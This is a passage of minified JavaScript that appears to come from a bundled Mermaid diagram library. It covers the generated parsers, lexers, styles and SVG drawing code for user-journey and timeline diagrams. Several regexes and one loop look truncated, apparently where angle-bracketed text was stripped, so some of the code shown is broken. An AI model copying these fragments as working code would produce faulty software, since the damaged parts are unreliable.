re!="number"&&(re instanceof Array&&(y=re,re=y.pop()),re=m.symbols_[re]||re),re}o(M,"lex");for(var P,B,F,G,$,U,j={},te,Y,oe,J;;){if(F=g[g.length-1],this.defaultActions[F]?G=this.defaultActions[F]:((P===null||typeof P>"u")&&(P=M()),G=b[F]&&b[F][P]),typeof G>"u"||!G.length||!G[0]){var ue="";J=[];for(te in b[F])this.terminals_[te]&&te>A&&J.push("'"+this.terminals_[te]+"'");I.showPosition?ue="Parse error on line "+(S+1)+`: +`+I.showPosition()+` +Expecting `+J.join(", ")+", got '"+(this.terminals_[P]||P)+"'":ue="Parse error on line "+(S+1)+": Unexpected "+(P==C?"end of input":"'"+(this.terminals_[P]||P)+"'"),this.parseError(ue,{text:I.match,token:this.terminals_[P]||P,line:I.yylineno,loc:D,expected:J})}if(G[0]instanceof Array&&G.length>1)throw new Error("Parse Error: multiple actions possible at state: "+F+", token: "+P);switch(G[0]){case 1:g.push(P),v.push(I.yytext),x.push(I.yylloc),g.push(G[1]),P=null,B?(P=B,B=null):(w=I.yyleng,T=I.yytext,S=I.yylineno,D=I.yylloc,k>0&&k--);break;case 2:if(Y=this.productions_[G[1]][1],j.$=v[v.length-Y],j._$={first_line:x[x.length-(Y||1)].first_line,last_line:x[x.length-1].last_line,first_column:x[x.length-(Y||1)].first_column,last_column:x[x.length-1].last_column},_&&(j._$.range=[x[x.length-(Y||1)].range[0],x[x.length-1].range[1]]),U=this.performAction.apply(j,[T,w,S,L.yy,G[1],v,x].concat(R)),typeof U<"u")return U;Y&&(g=g.slice(0,-1*Y*2),v=v.slice(0,-1*Y),x=x.slice(0,-1*Y)),g.push(this.productions_[G[1]][0]),v.push(j.$),x.push(j._$),oe=b[g[g.length-2]][g[g.length-1]],g.push(oe);break;case 3:return!0}}return!0},"parse")},h=(function(){var d={EOF:1,parseError:o(function(m,g){if(this.yy.parser)this.yy.parser.parseError(m,g);else throw new Error(m)},"parseError"),setInput:o(function(p,m){return this.yy=m||this.yy||{},this._input=p,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var p=this._input[0];this.yytext+=p,this.yyleng++,this.offset++,this.match+=p,this.matched+=p;var m=p.match(/(?:\r\n?|\n).*/g);return m?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),p},"input"),unput:o(function(p){var m=p.length,g=p.split(/(?:\r\n?|\n)/g);this._input=p+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-m),this.offset-=m;var y=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),g.length-1&&(this.yylineno-=g.length-1);var v=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:g?(g.length===y.length?this.yylloc.first_column:0)+y[y.length-g.length].length-g[0].length:this.yylloc.first_column-m},this.options.ranges&&(this.yylloc.range=[v[0],v[0]+this.yyleng-m]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(p){this.unput(this.match.slice(p))},"less"),pastInput:o(function(){var p=this.matched.substr(0,this.matched.length-this.match.length);return(p.length>20?"...":"")+p.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var p=this.match;return p.length<20&&(p+=this._input.substr(0,20-p.length)),(p.substr(0,20)+(p.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var p=this.pastInput(),m=new Array(p.length+1).join("-");return p+this.upcomingInput()+` +`+m+"^"},"showPosition"),test_match:o(function(p,m){var g,y,v;if(this.options.backtrack_lexer&&(v={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(v.yylloc.range=this.yylloc.range.slice(0))),y=p[0].match(/(?:\r\n?|\n).*/g),y&&(this.yylineno+=y.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:y?y[y.length-1].length-y[y.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+p[0].length},this.yytext+=p[0],this.match+=p[0],this.matches=p,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(p[0].length),this.matched+=p[0],g=this.performAction.call(this,this.yy,this,m,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),g)return g;if(this._backtrack){for(var x in v)this[x]=v[x];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var p,m,g,y;this._more||(this.yytext="",this.match="");for(var v=this._currentRules(),x=0;xm[0].length)){if(m=g,y=x,this.options.backtrack_lexer){if(p=this.test_match(g,v[x]),p!==!1)return p;if(this._backtrack){m=!1;continue}else return!1}else if(!this.options.flex)break}return m?(p=this.test_match(m,v[y]),p!==!1?p:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var m=this.next();return m||this.lex()},"lex"),begin:o(function(m){this.conditionStack.push(m)},"begin"),popState:o(function(){var m=this.conditionStack.length-1;return m>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(m){return m=this.conditionStack.length-1-Math.abs(m||0),m>=0?this.conditionStack[m]:"INITIAL"},"topState"),pushState:o(function(m){this.begin(m)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(m,g,y,v){var x=v;switch(y){case 0:break;case 1:break;case 2:return 10;case 3:break;case 4:break;case 5:return 4;case 6:return 11;case 7:return this.begin("acc_title"),12;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.begin("acc_descr"),14;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.begin("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 17;case 15:return 18;case 16:return 19;case 17:return":";case 18:return 6;case 19:return"INVALID"}},"anonymous"),rules:[/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:journey\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,9,11,14,15,16,17,18,19],inclusive:!0}}};return d})();u.lexer=h;function f(){this.yy={}}return o(f,"Parser"),f.prototype=u,u.Parser=f,new f})();D$.parser=D$;Hve=D$});var cy,L$,S4,C4,Det,Let,Ret,Net,Met,Iet,Oet,Wve,Pet,R$,Yve=N(()=>{"use strict";Xt();ci();cy="",L$=[],S4=[],C4=[],Det=o(function(){L$.length=0,S4.length=0,cy="",C4.length=0,Sr()},"clear"),Let=o(function(t){cy=t,L$.push(t)},"addSection"),Ret=o(function(){return L$},"getSections"),Net=o(function(){let t=Wve(),e=100,r=0;for(;!t&&r{r.people&&t.push(...r.people)}),[...new Set(t)].sort()},"updateActors"),Iet=o(function(t,e){let r=e.substr(1).split(":"),n=0,i=[];r.length===1?(n=Number(r[0]),i=[]):(n=Number(r[0]),i=r[1].split(","));let a=i.map(l=>l.trim()),s={section:cy,type:cy,people:a,task:t,score:n};C4.push(s)},"addTask"),Oet=o(function(t){let e={section:cy,type:cy,description:t,task:t,classes:[]};S4.push(e)},"addTaskOrg"),Wve=o(function(){let t=o(function(r){return C4[r].processed},"compileTask"),e=!0;for(let[r,n]of C4.entries())t(r),e=e&&n.processed;return e},"compileTasks"),Pet=o(function(){return Met()},"getActors"),R$={getConfig:o(()=>ge().journey,"getConfig"),clear:Det,setDiagramTitle:$r,getDiagramTitle:Pr,setAccTitle:Rr,getAccTitle:Mr,setAccDescription:Ir,getAccDescription:Or,addSection:Let,getSections:Ret,getTasks:Net,addTask:Iet,addTaskOrg:Oet,getActors:Pet}});var Bet,Xve,jve=N(()=>{"use strict";yg();Bet=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.textColor}; + } + .mouth { + stroke: #666; + } + + line { + stroke: ${t.textColor} + } + + .legend { + fill: ${t.textColor}; + font-family: ${t.fontFamily}; + } + + .label text { + fill: #333; + } + .label { + color: ${t.textColor} + } + + .face { + ${t.faceColor?`fill: ${t.faceColor}`:"fill: #FFF8DC"}; + stroke: #999; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + .node .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 1.5px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + rect { + opacity: 0.5; + } + text-align: center; + } + + .cluster rect { + } + + .cluster text { + fill: ${t.titleColor}; + } + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .task-type-0, .section-type-0 { + ${t.fillType0?`fill: ${t.fillType0}`:""}; + } + .task-type-1, .section-type-1 { + ${t.fillType0?`fill: ${t.fillType1}`:""}; + } + .task-type-2, .section-type-2 { + ${t.fillType0?`fill: ${t.fillType2}`:""}; + } + .task-type-3, .section-type-3 { + ${t.fillType0?`fill: ${t.fillType3}`:""}; + } + .task-type-4, .section-type-4 { + ${t.fillType0?`fill: ${t.fillType4}`:""}; + } + .task-type-5, .section-type-5 { + ${t.fillType0?`fill: ${t.fillType5}`:""}; + } + .task-type-6, .section-type-6 { + ${t.fillType0?`fill: ${t.fillType6}`:""}; + } + .task-type-7, .section-type-7 { + ${t.fillType0?`fill: ${t.fillType7}`:""}; + } + + .actor-0 { + ${t.actor0?`fill: ${t.actor0}`:""}; + } + .actor-1 { + ${t.actor1?`fill: ${t.actor1}`:""}; + } + .actor-2 { + ${t.actor2?`fill: ${t.actor2}`:""}; + } + .actor-3 { + ${t.actor3?`fill: ${t.actor3}`:""}; + } + .actor-4 { + ${t.actor4?`fill: ${t.actor4}`:""}; + } + .actor-5 { + ${t.actor5?`fill: ${t.actor5}`:""}; + } + ${zc()} +`,"getStyles"),Xve=Bet});var N$,Fet,Qve,Zve,$et,zet,Kve,Get,Vet,Jve,Uet,uy,e2e=N(()=>{"use strict";yr();r2();N$=o(function(t,e){return Fd(t,e)},"drawRect"),Fet=o(function(t,e){let n=t.append("circle").attr("cx",e.cx).attr("cy",e.cy).attr("class","face").attr("r",15).attr("stroke-width",2).attr("overflow","visible"),i=t.append("g");i.append("circle").attr("cx",e.cx-15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666"),i.append("circle").attr("cx",e.cx+15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666");function a(u){let h=Sl().startAngle(Math.PI/2).endAngle(3*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+2)+")")}o(a,"smile");function s(u){let h=Sl().startAngle(3*Math.PI/2).endAngle(5*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+7)+")")}o(s,"sad");function l(u){u.append("line").attr("class","mouth").attr("stroke",2).attr("x1",e.cx-5).attr("y1",e.cy+7).attr("x2",e.cx+5).attr("y2",e.cy+7).attr("class","mouth").attr("stroke-width","1px").attr("stroke","#666")}return o(l,"ambivalent"),e.score>3?a(i):e.score<3?s(i):l(i),n},"drawFace"),Qve=o(function(t,e){let r=t.append("circle");return r.attr("cx",e.cx),r.attr("cy",e.cy),r.attr("class","actor-"+e.pos),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("r",e.r),r.class!==void 0&&r.attr("class",r.class),e.title!==void 0&&r.append("title").text(e.title),r},"drawCircle"),Zve=o(function(t,e){return bj(t,e)},"drawText"),$et=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");n.attr("points",r(e.x,e.y,50,20,7)),n.attr("class","labelBox"),e.y=e.y+e.labelMargin,e.x=e.x+.5*e.labelMargin,Zve(t,e)},"drawLabel"),zet=o(function(t,e,r){let n=t.append("g"),i=ua();i.x=e.x,i.y=e.y,i.fill=e.fill,i.width=r.width*e.taskCount+r.diagramMarginX*(e.taskCount-1),i.height=r.height,i.class="journey-section section-type-"+e.num,i.rx=3,i.ry=3,N$(n,i),Jve(r)(e.text,n,i.x,i.y,i.width,i.height,{class:"journey-section section-type-"+e.num},r,e.colour)},"drawSection"),Kve=-1,Get=o(function(t,e,r){let n=e.x+r.width/2,i=t.append("g");Kve++,i.append("line").attr("id","task"+Kve).attr("x1",n).attr("y1",e.y).attr("x2",n).attr("y2",450).attr("class","task-line").attr("stroke-width","1px").attr("stroke-dasharray","4 2").attr("stroke","#666"),Fet(i,{cx:n,cy:300+(5-e.score)*30,score:e.score});let s=ua();s.x=e.x,s.y=e.y,s.fill=e.fill,s.width=r.width,s.height=r.height,s.class="task task-type-"+e.num,s.rx=3,s.ry=3,N$(i,s);let l=e.x+14;e.people.forEach(u=>{let h=e.actors[u].color,f={cx:l,cy:e.y,r:7,fill:h,stroke:"#000",title:u,pos:e.actors[u].position};Qve(i,f),l+=10}),Jve(r)(e.task,i,s.x,s.y,s.width,s.height,{class:"task"},r,e.colour)},"drawTask"),Vet=o(function(t,e){sT(t,e)},"drawBackgroundRect"),Jve=(function(){function t(i,a,s,l,u,h,f,d){let p=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("font-color",d).style("text-anchor","middle").text(i);n(p,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d,p){let{taskFontSize:m,taskFontFamily:g}=d,y=i.split(//gi);for(let v=0;v{let a=lh[i].color,s={cx:20,cy:n,r:7,fill:a,stroke:"#000",pos:lh[i].position};uy.drawCircle(t,s);let l=t.append("text").attr("visibility","hidden").text(i),u=l.node().getBoundingClientRect().width;l.remove();let h=[];if(u<=r)h=[i];else{let f=i.split(" "),d="";l=t.append("text").attr("visibility","hidden"),f.forEach(p=>{let m=d?`${d} ${p}`:p;if(l.text(m),l.node().getBoundingClientRect().width>r){if(d&&h.push(d),d=p,l.text(p),l.node().getBoundingClientRect().width>r){let y="";for(let v of p)y+=v,l.text(y+"-"),l.node().getBoundingClientRect().width>r&&(h.push(y.slice(0,-1)+"-"),y=v);d=y}}else d=m}),d&&h.push(d),l.remove()}h.forEach((f,d)=>{let p={x:40,y:n+7+d*20,fill:"#666",text:f,textMargin:e.boxTextMargin??5},g=uy.drawText(t,p).node().getBoundingClientRect().width;g>vC&&g>e.leftMargin-g&&(vC=g)}),n+=Math.max(20,h.length*20)})}var Het,lh,vC,Hl,Jf,Wet,sl,M$,t2e,Yet,I$,r2e=N(()=>{"use strict";yr();e2e();Xt();Ei();Het=o(function(t){Object.keys(t).forEach(function(r){Hl[r]=t[r]})},"setConf"),lh={},vC=0;o(qet,"drawActorLegend");Hl=ge().journey,Jf=0,Wet=o(function(t,e,r,n){let i=ge(),a=i.journey.titleColor,s=i.journey.titleFontSize,l=i.journey.titleFontFamily,u=i.securityLevel,h;u==="sandbox"&&(h=qe("#i"+e));let f=u==="sandbox"?qe(h.nodes()[0].contentDocument.body):qe("body");sl.init();let d=f.select("#"+e);uy.initGraphics(d);let p=n.db.getTasks(),m=n.db.getDiagramTitle(),g=n.db.getActors();for(let S in lh)delete lh[S];let y=0;g.forEach(S=>{lh[S]={color:Hl.actorColours[y%Hl.actorColours.length],position:y},y++}),qet(d),Jf=Hl.leftMargin+vC,sl.insert(0,0,Jf,Object.keys(lh).length*50),Yet(d,p,0);let v=sl.getBounds();m&&d.append("text").text(m).attr("x",Jf).attr("font-size",s).attr("font-weight","bold").attr("y",25).attr("fill",a).attr("font-family",l);let x=v.stopy-v.starty+2*Hl.diagramMarginY,b=Jf+v.stopx+2*Hl.diagramMarginX;mn(d,x,b,Hl.useMaxWidth),d.append("line").attr("x1",Jf).attr("y1",Hl.height*4).attr("x2",b-Jf-4).attr("y2",Hl.height*4).attr("stroke-width",4).attr("stroke","black").attr("marker-end","url(#arrowhead)");let T=m?70:0;d.attr("viewBox",`${v.startx} -25 ${b} ${x+T}`),d.attr("preserveAspectRatio","xMinYMin meet"),d.attr("height",x+T+25)},"draw"),sl={data:{startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},verticalPos:0,sequenceItems:[],init:o(function(){this.sequenceItems=[],this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},this.verticalPos=0},"init"),updateVal:o(function(t,e,r,n){t[e]===void 0?t[e]=r:t[e]=n(r,t[e])},"updateVal"),updateBounds:o(function(t,e,r,n){let i=ge().journey,a=this,s=0;function l(u){return o(function(f){s++;let d=a.sequenceItems.length-s+1;a.updateVal(f,"starty",e-d*i.boxMargin,Math.min),a.updateVal(f,"stopy",n+d*i.boxMargin,Math.max),a.updateVal(sl.data,"startx",t-d*i.boxMargin,Math.min),a.updateVal(sl.data,"stopx",r+d*i.boxMargin,Math.max),u!=="activation"&&(a.updateVal(f,"startx",t-d*i.boxMargin,Math.min),a.updateVal(f,"stopx",r+d*i.boxMargin,Math.max),a.updateVal(sl.data,"starty",e-d*i.boxMargin,Math.min),a.updateVal(sl.data,"stopy",n+d*i.boxMargin,Math.max))},"updateItemBounds")}o(l,"updateFn"),this.sequenceItems.forEach(l())},"updateBounds"),insert:o(function(t,e,r,n){let i=Math.min(t,r),a=Math.max(t,r),s=Math.min(e,n),l=Math.max(e,n);this.updateVal(sl.data,"startx",i,Math.min),this.updateVal(sl.data,"starty",s,Math.min),this.updateVal(sl.data,"stopx",a,Math.max),this.updateVal(sl.data,"stopy",l,Math.max),this.updateBounds(i,s,a,l)},"insert"),bumpVerticalPos:o(function(t){this.verticalPos=this.verticalPos+t,this.data.stopy=this.verticalPos},"bumpVerticalPos"),getVerticalPos:o(function(){return this.verticalPos},"getVerticalPos"),getBounds:o(function(){return this.data},"getBounds")},M$=Hl.sectionFills,t2e=Hl.sectionColours,Yet=o(function(t,e,r){let n=ge().journey,i="",a=n.height*2+n.diagramMarginY,s=r+a,l=0,u="#CCC",h="black",f=0;for(let[d,p]of e.entries()){if(i!==p.section){u=M$[l%M$.length],f=l%M$.length,h=t2e[l%t2e.length];let g=0,y=p.section;for(let x=d;x(lh[y]&&(g[y]=lh[y]),g),{});p.x=d*n.taskMargin+d*n.width+Jf,p.y=s,p.width=n.diagramMarginX,p.height=n.diagramMarginY,p.colour=h,p.fill=u,p.num=f,p.actors=m,uy.drawTask(t,p,n),sl.insert(p.x,p.y,p.x+p.width+n.taskMargin,450)}},"drawTasks"),I$={setConf:Het,draw:Wet}});var n2e={};dr(n2e,{diagram:()=>Xet});var Xet,i2e=N(()=>{"use strict";qve();Yve();jve();r2e();Xet={parser:Hve,db:R$,renderer:I$,styles:Xve,init:o(t=>{I$.setConf(t.journey),R$.clear()},"init")}});var P$,h2e,f2e=N(()=>{"use strict";P$=(function(){var t=o(function(p,m,g,y){for(g=g||{},y=p.length;y--;g[p[y]]=m);return g},"o"),e=[6,8,10,11,12,14,16,17,20,21],r=[1,9],n=[1,10],i=[1,11],a=[1,12],s=[1,13],l=[1,16],u=[1,17],h={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,timeline:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,title:11,acc_title:12,acc_title_value:13,acc_descr:14,acc_descr_value:15,acc_descr_multiline_value:16,section:17,period_statement:18,event_statement:19,period:20,event:21,$accept:0,$end:1},terminals_:{2:"error",4:"timeline",6:"EOF",8:"SPACE",10:"NEWLINE",11:"title",12:"acc_title",13:"acc_title_value",14:"acc_descr",15:"acc_descr_value",16:"acc_descr_multiline_value",17:"section",20:"period",21:"event"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,1],[9,1],[18,1],[19,1]],performAction:o(function(m,g,y,v,x,b,T){var S=b.length-1;switch(x){case 1:return b[S-1];case 2:this.$=[];break;case 3:b[S-1].push(b[S]),this.$=b[S-1];break;case 4:case 5:this.$=b[S];break;case 6:case 7:this.$=[];break;case 8:v.getCommonDb().setDiagramTitle(b[S].substr(6)),this.$=b[S].substr(6);break;case 9:this.$=b[S].trim(),v.getCommonDb().setAccTitle(this.$);break;case 10:case 11:this.$=b[S].trim(),v.getCommonDb().setAccDescription(this.$);break;case 12:v.addSection(b[S].substr(8)),this.$=b[S].substr(8);break;case 15:v.addTask(b[S],0,""),this.$=b[S];break;case 16:v.addEvent(b[S].substr(2)),this.$=b[S];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:r,12:n,14:i,16:a,17:s,18:14,19:15,20:l,21:u},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:18,11:r,12:n,14:i,16:a,17:s,18:14,19:15,20:l,21:u},t(e,[2,5]),t(e,[2,6]),t(e,[2,8]),{13:[1,19]},{15:[1,20]},t(e,[2,11]),t(e,[2,12]),t(e,[2,13]),t(e,[2,14]),t(e,[2,15]),t(e,[2,16]),t(e,[2,4]),t(e,[2,9]),t(e,[2,10])],defaultActions:{},parseError:o(function(m,g){if(g.recoverable)this.trace(m);else{var y=new Error(m);throw y.hash=g,y}},"parseError"),parse:o(function(m){var g=this,y=[0],v=[],x=[null],b=[],T=this.table,S="",w=0,k=0,A=0,C=2,R=1,I=b.slice.call(arguments,1),L=Object.create(this.lexer),E={yy:{}};for(var D in this.yy)Object.prototype.hasOwnProperty.call(this.yy,D)&&(E.yy[D]=this.yy[D]);L.setInput(m,E.yy),E.yy.lexer=L,E.yy.parser=this,typeof L.yylloc>"u"&&(L.yylloc={});var _=L.yylloc;b.push(_);var O=L.options&&L.options.ranges;typeof E.yy.parseError=="function"?this.parseError=E.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function M(ee){y.length=y.length-2*ee,x.length=x.length-ee,b.length=b.length-ee}o(M,"popStack");function P(){var ee;return ee=v.pop()||L.lex()||R,typeof ee!="number"&&(ee instanceof Array&&(v=ee,ee=v.pop()),ee=g.symbols_[ee]||ee),ee}o(P,"lex");for(var B,F,G,$,U,j,te={},Y,oe,J,ue;;){if(G=y[y.length-1],this.defaultActions[G]?$=this.defaultActions[G]:((B===null||typeof B>"u")&&(B=P()),$=T[G]&&T[G][B]),typeof $>"u"||!$.length||!$[0]){var re="";ue=[];for(Y in T[G])this.terminals_[Y]&&Y>C&&ue.push("'"+this.terminals_[Y]+"'");L.showPosition?re="Parse error on line "+(w+1)+`: +`+L.showPosition()+` +Expecting `+ue.join(", ")+", got '"+(this.terminals_[B]||B)+"'":re="Parse error on line "+(w+1)+": Unexpected "+(B==R?"end of input":"'"+(this.terminals_[B]||B)+"'"),this.parseError(re,{text:L.match,token:this.terminals_[B]||B,line:L.yylineno,loc:_,expected:ue})}if($[0]instanceof Array&&$.length>1)throw new Error("Parse Error: multiple actions possible at state: "+G+", token: "+B);switch($[0]){case 1:y.push(B),x.push(L.yytext),b.push(L.yylloc),y.push($[1]),B=null,F?(B=F,F=null):(k=L.yyleng,S=L.yytext,w=L.yylineno,_=L.yylloc,A>0&&A--);break;case 2:if(oe=this.productions_[$[1]][1],te.$=x[x.length-oe],te._$={first_line:b[b.length-(oe||1)].first_line,last_line:b[b.length-1].last_line,first_column:b[b.length-(oe||1)].first_column,last_column:b[b.length-1].last_column},O&&(te._$.range=[b[b.length-(oe||1)].range[0],b[b.length-1].range[1]]),j=this.performAction.apply(te,[S,k,w,E.yy,$[1],x,b].concat(I)),typeof j<"u")return j;oe&&(y=y.slice(0,-1*oe*2),x=x.slice(0,-1*oe),b=b.slice(0,-1*oe)),y.push(this.productions_[$[1]][0]),x.push(te.$),b.push(te._$),J=T[y[y.length-2]][y[y.length-1]],y.push(J);break;case 3:return!0}}return!0},"parse")},f=(function(){var p={EOF:1,parseError:o(function(g,y){if(this.yy.parser)this.yy.parser.parseError(g,y);else throw new Error(g)},"parseError"),setInput:o(function(m,g){return this.yy=g||this.yy||{},this._input=m,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var m=this._input[0];this.yytext+=m,this.yyleng++,this.offset++,this.match+=m,this.matched+=m;var g=m.match(/(?:\r\n?|\n).*/g);return g?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),m},"input"),unput:o(function(m){var g=m.length,y=m.split(/(?:\r\n?|\n)/g);this._input=m+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-g),this.offset-=g;var v=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),y.length-1&&(this.yylineno-=y.length-1);var x=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:y?(y.length===v.length?this.yylloc.first_column:0)+v[v.length-y.length].length-y[0].length:this.yylloc.first_column-g},this.options.ranges&&(this.yylloc.range=[x[0],x[0]+this.yyleng-g]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(m){this.unput(this.match.slice(m))},"less"),pastInput:o(function(){var m=this.matched.substr(0,this.matched.length-this.match.length);return(m.length>20?"...":"")+m.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var m=this.match;return m.length<20&&(m+=this._input.substr(0,20-m.length)),(m.substr(0,20)+(m.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var m=this.pastInput(),g=new Array(m.length+1).join("-");return m+this.upcomingInput()+` +`+g+"^"},"showPosition"),test_match:o(function(m,g){var y,v,x;if(this.options.backtrack_lexer&&(x={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(x.yylloc.range=this.yylloc.range.slice(0))),v=m[0].match(/(?:\r\n?|\n).*/g),v&&(this.yylineno+=v.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:v?v[v.length-1].length-v[v.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+m[0].length},this.yytext+=m[0],this.match+=m[0],this.matches=m,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(m[0].length),this.matched+=m[0],y=this.performAction.call(this,this.yy,this,g,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),y)return y;if(this._backtrack){for(var b in 